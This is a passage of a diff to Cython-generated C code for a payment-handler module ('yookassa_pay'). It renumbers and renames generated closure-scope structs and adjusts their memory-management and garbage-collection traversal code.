"handlers/payments/yookassa_pay.py":349 - * - * - * async def _send_message(callback_query: types.CallbackQuery | types.Message, text: str, reply_markup=None): # <<<<<<<<<<<<<< - * """ .""" - * if isinstance(callback_query, types.CallbackQuery): - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -11495,14 +10351,9 @@ static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_stru Py_CLEAR(p->__pyx_v_payment_id); Py_CLEAR(p->__pyx_v_payment_object); Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_response); Py_CLEAR(p->__pyx_v_user_id); Py_CLEAR(p->__pyx_v_user_id_str); - Py_CLEAR(p->__pyx_t_0); - Py_CLEAR(p->__pyx_t_1); - Py_CLEAR(p->__pyx_t_2); - Py_CLEAR(p->__pyx_t_3); - Py_CLEAR(p->__pyx_t_4); - Py_CLEAR(p->__pyx_t_5); #if CYTHON_USE_FREELISTS if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook)))) { __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)o); @@ -11544,30 +10395,15 @@ static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_stru if (p->__pyx_v_request) { e = (*v)(p->__pyx_v_request, a); if (e) return e; } + if (p->__pyx_v_response) { + e = (*v)(p->__pyx_v_response, a); if (e) return e; + } if (p->__pyx_v_user_id) { e = (*v)(p->__pyx_v_user_id, a); if (e) return e; } if (p->__pyx_v_user_id_str) { e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; } - if (p->__pyx_t_0) { - e = (*v)(p->__pyx_t_0, a); if (e) return e; - } - if (p->__pyx_t_1) { - e = (*v)(p->__pyx_t_1, a); if (e) return e; - } - if (p->__pyx_t_2) { - e = (*v)(p->__pyx_t_2, a); if (e) return e; - } - if (p->__pyx_t_3) { - e = (*v)(p->__pyx_t_3, a); if (e) return e; - } - if (p->__pyx_t_4) { - e = (*v)(p->__pyx_t_4, a); if (e) return e; - } - if (p->__pyx_t_5) { - e = (*v)(p->__pyx_t_5, a); if (e) return e; - } return 0; } #if CYTHON_USE_TYPE_SPECS @@ -11672,20 +10508,20 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st #endif #if CYTHON_USE_FREELISTS -static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[8]; -static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = 0; +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = 0; #endif -static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { PyObject *o; #if CYTHON_COMPILING_IN_LIMITED_API allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); o = alloc_func(t, 0); #else #if CYTHON_USE_FREELISTS - if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { - o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount]; - memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)); + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment)); (void) PyObject_INIT(o, t); PyObject_GC_Track(o); } else @@ -11698,22 +10534,25 @@ static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_str return o; } -static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o) { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)o; #if CYTHON_USE_TP_FINALIZE if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { - if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment) { if (PyObject_CallFinalizerFromDealloc(o)) return; } } #endif PyObject_GC_UnTrack(o); - Py_CLEAR(p->__pyx_v_builder); - Py_CLEAR(p->__pyx_v_callback_query); - Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); #if CYTHON_USE_FREELISTS - if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount)))) { - __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o); + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)o); } else #endif { @@ -11728,42 +10567,51 @@ static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_stru } } -static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment(PyObject *o, visitproc v, void *a) { int e; - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount *)o; - if (p->__pyx_v_builder) { - e = (*v)(p->__pyx_v_builder, a); if (e) return e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; } - if (p->__pyx_v_callback_query) { - e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; } - if (p->__pyx_v_state) { - e = (*v)(p->__pyx_v_state, a); if (e) return e; + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; } return 0; } #if CYTHON_USE_TYPE_SPECS -static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_slots[] = { - {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, - {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, - {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount}, +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment}, {0, 0}, }; -static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_spec = { - "handlers.payments.yookassa_pay.__pyx_scope_struct_3_process_enter_custom_amount", - sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount), +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_3_process_successful_payment", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment), 0, Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, - __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount_slots, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment_slots, }; #else -static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount = { +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment = { PyVarObject_HEAD_INIT(0, 0) - "handlers.payments.yookassa_pay.""__pyx_scope_struct_3_process_enter_custom_amount", /*tp_name*/ - sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount), /*tp_basicsize*/ + "handlers.payments.yookassa_pay.""__pyx_scope_struct_3_process_successful_payment", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment), /*tp_basicsize*/ 0, /*tp_itemsize*/ - __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_dealloc*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment, /*tp_dealloc*/ #if PY_VERSION_HEX < 0x030800b4 0, /*tp_print*/ #endif @@ -11790,7 +10638,7 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ 0, /*tp_doc*/ - __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_traverse*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment, /*tp_traverse*/ 0, /*tp_clear*/ 0, /*tp_richcompare*/ 0, /*tp_weaklistoffset*/ @@ -11808,7 +10656,7 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st #endif 0, /*tp_init*/ 0, /*tp_alloc*/ - __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount, /*tp_new*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_successful_payment, /*tp_new*/ 0, /*tp_free*/ 0, /*tp_is_gc*/ 0, /*tp_bases*/ @@ -11844,20 +10692,20 @@ static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_st #endif #if CYTHON_USE_FREELISTS -static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[8]; -static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input = 0; +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = 0; #endif -static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { PyObject *o; #if CYTHON_COMPILING_IN_LIMITED_API allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); o = alloc_func(t, 0); #else #if CYTHON_USE_FREELISTS - if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)))) { - o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input]; - memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)); + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount)); (void) PyObject_INIT(o, t); PyObject_GC_Track(o); } else @@ -11870,11 +10718,183 @@ static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_str return o; } -static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o) { - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o; +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)o; #if CYTHON_USE_TP_FINALIZE if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { - if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_spec = { + "handlers.payments.yookassa_pay.__pyx_scope_struct_4_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.yookassa_pay.""__pyx_scope_struct_4_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input) { if (PyObject_CallFinalizerFromDealloc(o)) return; } } @@ -11900,8 +10920,8 @@ static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_stru Py_CLEAR(p->__pyx_t_5); Py_CLEAR(p->__pyx_t_9); #if CYTHON_USE_FREELISTS - if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input)))) { - __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *)o); + if (((int)(__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input[__pyx_freecount_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)o); } else #endif { @@ -11916,9 +10936,9 @@ static void __pyx_tp_dealloc_8handlers_8payments_12yookassa_pay___pyx_scope_stru } } -static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyObject *o, visitproc v, void *a) { +static int __pyx_tp_traverse_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input(PyObject *o, visitproc v, void *a) { int e; - struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input *p = 